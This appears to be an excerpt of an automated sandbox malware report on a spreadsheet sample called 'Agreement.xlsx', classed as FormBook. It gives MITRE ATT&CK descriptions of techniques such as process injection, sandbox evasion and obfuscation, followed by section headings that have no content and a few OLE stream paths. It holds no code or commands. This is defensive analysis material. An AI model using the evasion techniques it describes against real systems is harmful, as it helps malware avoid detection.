Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Anti-virus, Process monitoring, System calls
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, DLL monitoring, File monitoring, Named Pipes, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may disable security tools to avoid possible detection of their tools and activities. This can take the form of killing security software or event logging processes, deleting Registry keys so that tools do not start at run time, or other methods to interfere with security tools scanning or reporting information.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Services, Windows Registry
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, Email gateway, Environment variable, File monitoring, Malware reverse engineering, Network intrusion detection system, Network protocol analysis, Process command-line parameters, Process monitoring, Process use of network, SSL/TLS inspection, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata
Platforms:	macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, File monitoring, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Malware reverse engineering, Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network, SSL/TLS inspection
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Files may be copied from an external adversary controlled system through the command and control channel to bring tools into the victim network or through alternate protocols with another tool such as FTP. Files can also be copied over on Mac and Linux with native tools like scp, rsync, and sftp.
Tactics:	Command and Control
Data Sources:	File monitoring, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process command-line parameters, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use a non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Host network interface, Netflow/Enclave netflow, Network intrusion detection system, Network protocol analysis, Packet capture, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	DNS records, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading ...

Warning!

Analysis Report Agreement.xlsx

Overview

General Information

Detection

Signatures

Classification

Startup

Malware Configuration

Threatname: FormBook

Yara Overview

Memory Dumps

Unpacked PEs

Sigma Overview

System Summary:

Signature Overview

AV Detection:

Exploits:

Compliance:

Software Vulnerabilities:

Networking:

E-Banking Fraud:

System Summary:

Data Obfuscation:

Persistence and Installation Behavior:

Boot Survival:

Hooking and other Techniques for Hiding and Protection:

Malware Analysis System Evasion:

Anti Debugging:

HIPS / PFW / Operating System Protection Evasion:

Language, Device and Operating System Detection:

Stealing of Sensitive Information:

Remote Access Functionality:

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

Contacted IPs

Public

General Information

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASN

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Static OLE Info

General

OLE File "Agreement.xlsx"

Indicators

Streams

Stream Path: \x6DataSpaces/DataSpaceInfo/StrongEncryptionDataSpace, File Type: data, Stream Size: 64

General

Stream Path: \x6DataSpaces/DataSpaceMap, File Type: data, Stream Size: 112

General

Stream Path: \x6DataSpaces/TransformInfo/StrongEncryptionTransform/\x6Primary, File Type: data, Stream Size: 200

General

Stream Path: \x6DataSpaces/Version, File Type: data, Stream Size: 76